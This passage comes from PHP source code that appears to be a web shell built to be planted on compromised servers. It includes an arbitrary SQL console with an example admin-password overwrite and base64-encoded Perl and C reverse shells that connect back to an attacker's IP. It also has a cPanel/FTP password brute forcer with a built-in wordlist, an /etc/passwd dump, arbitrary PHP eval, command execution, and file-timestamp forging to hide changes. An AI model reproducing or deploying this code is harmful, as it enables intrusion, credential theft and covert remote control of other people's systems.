786 !$dbport && $dbport = '3306';
787 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
788 if(isset($dbhost)){
789 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
790 }
791 if(isset($dbuser)) {
792 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
793 }
794 if(isset($dbpass)) {
795 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
796 }
797 if(isset($dbport)) {
798 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
799 }
800 if(isset($dbname)) {
801 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
802 }
803 if(isset($charset)) {
804 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
805 }
806
807 if ($doing == 'backupmysql' && $saveasfile) {
808 if (!$table) {
809 m('Please choose the table');
810 } else {
811 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
812 $table = array_flip($table);
813 $fp = @fopen($path,'w');
814 if ($fp) {
815 $result = q('SHOW tables');
816 if (!$result) p('<h2>'.mysql_error().'</h2>');
817 $mysqldata = '';
818 while ($currow = mysql_fetch_array($result)) {
819 if (isset($table[$currow[0]])) {
820 sqldumptable($currow[0], $fp);
821 }
822 }
823 fclose($fp);
824 $fileurl = str_replace(SA_ROOT,'',$path);
825 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
826 mysql_close();
827 } else {
828 m('Backup failed');
829 }
830 }
831 }
832 if ($insert && $insertsql) {
833 $keystr = $valstr = $tmp = '';
834 foreach($insertsql as $key => $val) {
835 if ($val) {
836 $keystr .= $tmp.$key;
837 $valstr .= $tmp."'".addslashes($val)."'";
838 $tmp = ',';
839 }
840 }
841 if ($keystr && $valstr) {
842 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
843 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
844 }
845 }
846 if ($update && $insertsql && $base64) {
847 $valstr = $tmp = '';
848 foreach($insertsql as $key => $val) {
849 $valstr .= $tmp.$key."='".addslashes($val)."'";
850 $tmp = ',';
851 }
852 if ($valstr) {
853 $where = base64_decode($base64);
854 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
855 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
856 }
857 }
858 if ($doing == 'del' && $base64) {
859 $where = base64_decode($base64);
860 $delete_sql = "DELETE FROM $tablename WHERE $where";
861 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
862 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
863 }
864
865 if ($tablename && $doing == 'drop') {
866 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
867 if (q("DROP TABLE $tablename")) {
868 m('Drop table of success');
869 $tablename = '';
870 } else {
871 m(mysql_error());
872 }
873 }
874
875 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
876
877 formhead(array('title'=>'MYSQL Manager'));
878 makehide('action','sqladmin');
879 p('<p>');
880 p('DBHost:');
881 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
882 p(':');
883 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
884 p('DBUser:');
885 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
886 p('DBPass:');
887 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
888 p('DBCharset:');
889 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
890 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
891 p('</p>');
892 formfoot();
893?>
894
895<script type="text/javascript">
896function editrecord(action, base64, tablename){
897 if (action == 'del') {
898 if (!confirm('Is or isn\'t deletion record?')) return;
899 }
900 $('recordlist').doing.value=action;
901 $('recordlist').base64.value=base64;
902 $('recordlist').tablename.value=tablename;
903 $('recordlist').submit();
904}
905function moddbname(dbname) {
906 if(!dbname) return;
907 $('setdbname').dbname.value=dbname;
908 $('setdbname').submit();
909}
910function settable(tablename,doing,page) {
911 if(!tablename) return;
912 if (doing) {
913 $('settable').doing.value=doing;
914 }
915 if (page) {
916 $('settable').page.value=page;
917 }
918 $('settable').tablename.value=tablename;
919 $('settable').submit();
920}
921</script>
922<?php
923 // SQL
924 formhead(array('name'=>'recordlist'));
925 makehide('doing');
926 makehide('action','sqladmin');
927 makehide('base64');
928 makehide('tablename');
929 p($dbform);
930 formfoot();
931
932 // Data
933 formhead(array('name'=>'setdbname'));
934 makehide('action','sqladmin');
935 p($dbform);
936 if (!$dbname) {
937 makehide('dbname');
938 }
939 formfoot();
940
941
942 formhead(array('name'=>'settable'));
943 makehide('action','sqladmin');
944 p($dbform);
945 makehide('tablename');
946 makehide('page',$page);
947 makehide('doing');
948 formfoot();
949
950 $cachetables = array();
951 $pagenum = 30;
952 $page = intval($page);
953 if($page) {
954 $start_limit = ($page - 1) * $pagenum;
955 } else {
956 $start_limit = 0;
957 $page = 1;
958 }
959 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
960 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
961 // get mysql server
962 $mysqlver = mysql_get_server_info();
963 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
964 $highver = $mysqlver > '4.1' ? 1 : 0;
965
966 // Show database
967 $query = q("SHOW DATABASES");
968 $dbs = array();
969 $dbs[] = '-- Select a database --';
970 while($db = mysql_fetch_array($query)) {
971 $dbs[$db['Database']] = $db['Database'];
972 }
973 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
974 $tabledb = array();
975 if ($dbname) {
976 p('<p>');
977 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
978 if ($tablename) {
979 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
980 }
981 p('</p>');
982 mysql_select_db($dbname);
983
984 $getnumsql = '';
985 $runquery = 0;
986 if ($sql_query) {
987 $runquery = 1;
988 }
989 $allowedit = 0;
990 if ($tablename && !$sql_query) {
991 $sql_query = "SELECT * FROM $tablename";
992 $getnumsql = $sql_query;
993 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
994 $allowedit = 1;
995 }
996 p('<form action="'.$self.'" method="POST">');
997 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>suka</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
998
999 </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
1000 makehide('tablename', $tablename);
1001 makehide('action','sqladmin');
1002 p($dbform);
1003 p('</form>');
1004 if ($tablename || ($runquery && $sql_query)) {
1005 if ($doing == 'structure') {
1006 $result = q("SHOW COLUMNS FROM $tablename");
1007 $rowdb = array();
1008 while($row = mysql_fetch_array($result)) {
1009 $rowdb[] = $row;
1010 }
1011 p('<table border="0" cellpadding="3" cellspacing="0">');
1012 p('<tr class="head">');
1013 p('<td>Field</td>');
1014 p('<td>Type</td>');
1015 p('<td>Null</td>');
1016 p('<td>Key</td>');
1017 p('<td>Default</td>');
1018 p('<td>Extra</td>');
1019 p('</tr>');
1020 foreach ($rowdb as $row) {
1021 $thisbg = bg();
1022 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1023 p('<td>'.$row['Field'].'</td>');
1024 p('<td>'.$row['Type'].'</td>');
1025 p('<td>'.$row['Null'].' </td>');
1026 p('<td>'.$row['Key'].' </td>');
1027 p('<td>'.$row['Default'].' </td>');
1028 p('<td>'.$row['Extra'].' </td>');
1029 p('</tr>');
1030 }
1031 tbfoot();
1032 } elseif ($doing == 'insert' || $doing == 'edit') {
1033 $result = q('SHOW COLUMNS FROM '.$tablename);
1034 while ($row = mysql_fetch_array($result)) {
1035 $rowdb[] = $row;
1036 }
1037 $rs = array();
1038 if ($doing == 'insert') {
1039 p('<h2>Insert new line in '.$tablename.' table »</h2>');
1040 } else {
1041 p('<h2>Update record in '.$tablename.' table »</h2>');
1042 $where = base64_decode($base64);
1043 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
1044 $rs = mysql_fetch_array($result);
1045 }
1046 p('<form method="post" action="'.$self.'">');
1047 p($dbform);
1048 makehide('action','sqladmin');
1049 makehide('tablename',$tablename);
1050 p('<table border="0" cellpadding="3" cellspacing="0">');
1051 foreach ($rowdb as $row) {
1052 if ($rs[$row['Field']]) {
1053 $value = htmlspecialchars($rs[$row['Field']]);
1054 } else {
1055 $value = '';
1056 }
1057 $thisbg = bg();
1058 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1059 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
1060 }
1061 if ($doing == 'insert') {
1062 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
1063 } else {
1064 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
1065 makehide('base64', $base64);
1066 }
1067 p('</table></form>');
1068 } else {
1069 $querys = @explode(';',$sql_query);
1070 foreach($querys as $num=>$query) {
1071 if ($query) {
1072 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
1073 switch(qy($query))
1074 {
1075 case 0:
1076 p('<h2>Error : '.mysql_error().'</h2>');
1077 break;
1078 case 1:
1079 if (strtolower(substr($query,0,13)) == 'select * from') {
1080 $allowedit = 1;
1081 }
1082 if ($getnumsql) {
1083 $tatol = mysql_num_rows(q($getnumsql));
1084 $multipage = multi($tatol, $pagenum, $page, $tablename);
1085 }
1086 if (!$tablename) {
1087 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
1088 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
1089 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
1090 $tablename = $matches[1][0];
1091 }
1092 $result = q($query);
1093 p($multipage);
1094 p('<table border="0" cellpadding="3" cellspacing="0">');
1095 p('<tr class="head">');
1096 if ($allowedit) p('<td>Action</td>');
1097 $fieldnum = @mysql_num_fields($result);
1098 for($i=0;$i<$fieldnum;$i++){
1099 $name = @mysql_field_name($result, $i);
1100 $type = @mysql_field_type($result, $i);
1101 $len = @mysql_field_len($result, $i);
1102 p("<td nowrap>$name<br><span>$type($len)</span></td>");
1103 }
1104 p('</tr>');
1105 while($mn = @mysql_fetch_assoc($result)){
1106 $thisbg = bg();
1107 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1108 $where = $tmp = $b1 = '';
1109 foreach($mn as $key=>$inside){
1110 if ($inside) {
1111 $where .= $tmp.$key."='".addslashes($inside)."'";
1112 $tmp = ' AND ';
1113 }
1114 $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
1115 }
1116 $where = base64_encode($where);
1117 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
1118 p($b1);
1119 p('</tr>');
1120 unset($b1);
1121 }
1122 tbfoot();
1123 p($multipage);
1124 break;
1125 case 2:
1126 $ar = mysql_affected_rows();
1127 p('<h2>affected rows : <b>'.$ar.'</b></h2>');
1128 break;
1129 }
1130 }
1131 }
1132 }
1133 } else {
1134 $query = q("SHOW TABLE STATUS");
1135 $table_num = $table_rows = $data_size = 0;
1136 $tabledb = array();
1137 while($table = mysql_fetch_array($query)) {
1138 $data_size = $data_size + $table['Data_length'];
1139 $table_rows = $table_rows + $table['Rows'];
1140 $table['Data_length'] = sizecount($table['Data_length']);
1141 $table_num++;
1142 $tabledb[] = $table;
1143 }
1144 $data_size = sizecount($data_size);
1145 unset($table);
1146 p('<table border="0" cellpadding="0" cellspacing="0">');
1147 p('<form action="'.$self.'" method="POST">');
1148 makehide('action','sqladmin');
1149 p($dbform);
1150 p('<tr class="head">');
1151 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1152 p('<td>Name</td>');
1153 p('<td>Rows</td>');
1154 p('<td>Data_length</td>');
1155 p('<td>Create_time</td>');
1156 p('<td>Update_time</td>');
1157 if ($highver) {
1158 p('<td>Engine</td>');
1159 p('<td>Collation</td>');
1160 }
1161 p('</tr>');
1162 foreach ($tabledb as $key => $table) {
1163 $thisbg = bg();
1164 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1165 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
1166 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
1167 p('<td>'.$table['Rows'].'</td>');
1168 p('<td>'.$table['Data_length'].'</td>');
1169 p('<td>'.$table['Create_time'].'</td>');
1170 p('<td>'.$table['Update_time'].'</td>');
1171 if ($highver) {
1172 p('<td>'.$table['Engine'].'</td>');
1173 p('<td>'.$table['Collation'].'</td>');
1174 }
1175 p('</tr>');
1176 }
1177 p('<tr class=fout>');
1178 p('<td> </td>');
1179 p('<td>Total tables: '.$table_num.'</td>');
1180 p('<td>'.$table_rows.'</td>');
1181 p('<td>'.$data_size.'</td>');
1182 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
1183 p('</tr>');
1184
1185 p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1186 makehide('doing','backupmysql');
1187 formfoot();
1188 p("</table>");
1189 fr($query);
1190 }
1191 }
1192 }
1193 tbfoot();
1194 @mysql_close();
1195}//end sql backup
1196
1197
1198elseif ($action == 'backconnect') {
1199 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1200 !$yourport && $yourport = '12345';
1201 $usedb = array('perl'=>'perl','c'=>'c');
1202
1203 $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
1204 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
1205 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
1206 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
1207 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
1208 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
1209 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1210 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
1211 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
1212 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
1213 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
1214 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
1215 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
1216 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
1217 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1218
1219 if ($start && $yourip && $yourport && $use){
1220 if ($use == 'perl') {
1221 cf('/tmp/angel_bc',$back_connect);
1222 $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
1223 } else {
1224 cf('/tmp/angel_bc.c',$back_connect_c);
1225 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1226 @unlink('/tmp/angel_bc.c');
1227 $res = execute("/tmp/angel_bc $yourip $yourport &");
1228 }
1229 m("Now script try connect to $yourip port $yourport ...");
1230 }
1231
1232 formhead(array('title'=>'Back Connect'));
1233 makehide('action','backconnect');
1234 p('<p>');
1235 p('Your IP:');
1236 makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
1237 p('Your Port:');
1238 makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
1239 p('Use:');
1240 makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
1241 makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
1242 p('</p>');
1243 formfoot();
1244}//end backconnect window via NC
1245
1246// Brute
1247elseif ($action == 'brute') {
1248formhead(array('title'=>'Brute Forcer'));
1249 makehide('action','brute');
1250 makehide('dir',$brute);
1251@ini_set('memory_limit', 1000000000000);
1252$connect_timeout=5;
1253@set_time_limit(0);
1254$submit = $_REQUEST['submit'];
1255$users = $_REQUEST['users'];
1256$pass = $_REQUEST['passwords'];
1257$target = $_REQUEST['target'];
1258$option = $_REQUEST['option'];
1259
1260
1261$passlist = "0123456
126201234567
1263012345678
12640123456789
126501234567890
1266123456
12671234567
126812345678
1269123456789
12701234567890
1271111111
1272000000
1273222222
1274333333
1275444444
1276555555
1277666666
1278777777
1279888888
1280999999
1281123123
1282456456
1283789789
1284123321
1285456654
1286654321
12877654321
128887654321
1289987654321
12900987654321
1291admin
1292administrator
1293admincp
1294cpanel
1295adminx
1296admins
1297password
1298passwords
1299passw0rd
1300p@ssw0rd
1301p@ssword
1302khongco
130325251325
1304passw0rds";
1305if($target == ''){
1306$target = 'localhost';
1307}
1308print " <div align='center'>
1309
1310<form method='post' style='border: 1px solid #000000'><br><br>
1311<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
1312<b> Target : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
1313<div align='center'><br>
1314<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
1315<tr>
1316<td align='center'>
1317<b>Username</b></td>
1318<td>
1319<p align='center'>
1320<b>Password</b></td>
1321</tr>
1322</table>
1323
1324<p align='center'>
1325<textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";
1326$i = 0;
1327while ($i < 60000) {
1328
1329 $line = posix_getpwuid($i);
1330 if (!empty($line)) {
1331
1332 while (list ($key, $vba_etcpwd) = each($line)){
1333 echo "".$vba_etcpwd."\n";
1334 break;
1335 }
1336
1337 }
1338
1339 $i++;
1340}
1341echo "
1342</textarea>
1343<textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
1344<br>
1345<b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
1346<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
1347</td></tr></table></td></tr></form><p align= 'left'>";
1348?>
1349<?php
1350function ftp_check($host,$user,$pass,$timeout){
1351$ch = curl_init();
1352curl_setopt($ch, CURLOPT_URL, "ftp://$host");
1353curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1354curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
1355curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
1356curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
1357curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
1358curl_setopt($ch, CURLOPT_FAILONERROR, 1);
1359$data = curl_exec($ch);
1360if ( curl_errno($ch) == 28 ) {
1361
1362print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
1363exit;}
1364
1365elseif ( curl_errno($ch) == 0 ){
1366
1367p("<b>[ attack@suka.net ]# </b>
1368
1369<b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>");
1370}
1371curl_close($ch);}
1372
1373function cpanel_check($host,$user,$pass,$timeout){
1374$ch = curl_init();
1375curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
1376curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1377curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
1378curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
1379curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
1380curl_setopt($ch, CURLOPT_FAILONERROR, 1);
1381$data = curl_exec($ch);
1382if ( curl_errno($ch) == 28 ) {
1383print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
1384exit;}
1385elseif ( curl_errno($ch) == 0 ){
1386
1387p("<b>[ attack@suka.net ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");}curl_close($ch);}
1388
1389if(isset($submit) && !empty($submit)){
1390
1391$userlist = explode ("\n" , $users );
1392$passlist = explode ("\n" , $pass );
1393p('<b>[ attack@suka.net ]# Attacking ...</font></b><br>');
1394foreach ($userlist as $user) {
1395$_user = trim($user);
1396foreach ($passlist as $password ) {
1397$_pass = trim($password);
1398if($option == "ftp"){
1399ftp_check($target,$_user,$_pass,$connect_timeout);
1400}
1401if ($option == "cpanel")
1402{
1403cpanel_check($target,$_user,$_pass,$connect_timeout);
1404}
1405}
1406}
1407}
1408
1409 formfoot();
1410}
1411
1412
1413
1414
1415
1416
1417elseif ($action == 'etcpwd') {
1418formhead(array('title'=>'Get /etc/passwd'));
1419 makehide('action','etcpwd');
1420 makehide('dir',$nowpath);
1421$i = 0;
1422 echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
1423while ($i < 60000) {
1424
1425 $line = posix_getpwuid($i);
1426 if (!empty($line)) {
1427
1428 while (list ($key, $vba_etcpwd) = each($line)){
1429 echo "".$vba_etcpwd."\n";
1430 break;
1431 }
1432
1433 }
1434
1435 $i++;
1436}
1437 echo "</textarea></p>";
1438 formfoot();
1439}
1440
1441elseif ($action == 'eval') {
1442 $phpcode = trim($phpcode);
1443 if($phpcode){
1444 if (!preg_match('#<\?#si', $phpcode)) {
1445 $phpcode = "<?php\n\n{$phpcode}\n\n?>";
1446 }
1447 eval("?".">$phpcode<?");
1448 }
1449 formhead(array('title'=>'Eval PHP Code'));
1450 makehide('action','eval');
1451 maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
1452 p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
1453 formfooter();
1454}//end eval
1455
1456elseif ($action == 'editfile') {
1457 if(file_exists($opfile)) {
1458 $fp=@fopen($opfile,'r');
1459 $contents=@fread($fp, filesize($opfile));
1460 @fclose($fp);
1461 $contents=htmlspecialchars($contents);
1462 }
1463 formhead(array('title'=>'Create / Edit File'));
1464 makehide('action','file');
1465 makehide('dir',$nowpath);
1466 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
1467 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
1468 formfooter();
1469}//end editfile
1470
1471elseif ($action == 'newtime') {
1472 $opfilemtime = @filemtime($opfile);
1473 //$time = strtotime("$year-$month-$day $hour:$minute:$second");
1474 $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
1475 formhead(array('title'=>'Clone file was last modified time'));
1476 makehide('action','file');
1477 makehide('dir',$nowpath);
1478 makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1479 makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
1480 formfooter();
1481 formhead(array('title'=>'Set last modified'));
1482 makehide('action','file');
1483 makehide('dir',$nowpath);
1484 makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1485 p('<p>Instead »');
1486 p('year:');
1487 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
1488 p('month:');
1489 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
1490 p('day:');
1491 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
1492 p('hour:');
1493 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
1494 p('minute:');
1495 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
1496 p('second:');
1497 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
1498 p('</p>');
1499 formfooter();
1500}//end newtime
1501
1502elseif ($action == 'shell') {
1503 if (IS_WIN && IS_COM) {
1504 if($program && $parameter) {
1505 $shell= new COM('Shell.Application');
1506 $a = $shell->ShellExecute($program,$parameter);
1507 m('Program run has '.(!$a ? 'success' : 'fail'));
1508 }
1509 !$program && $program = 'c:\windows\system32\cmd.exe';
1510 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
1511 formhead(array('title'=>'Execute Program'));
1512 makehide('action','shell');
1513 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
1514 p('<p>');
1515 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
1516 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1517 p('</p>');
1518 formfoot();
1519 }
1520 formhead(array('title'=>'Execute Command'));
1521 makehide('action','shell');
1522 if (IS_WIN && IS_COM) {
1523 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
1524 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
1525 }
1526 p('<p>');
1527 makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
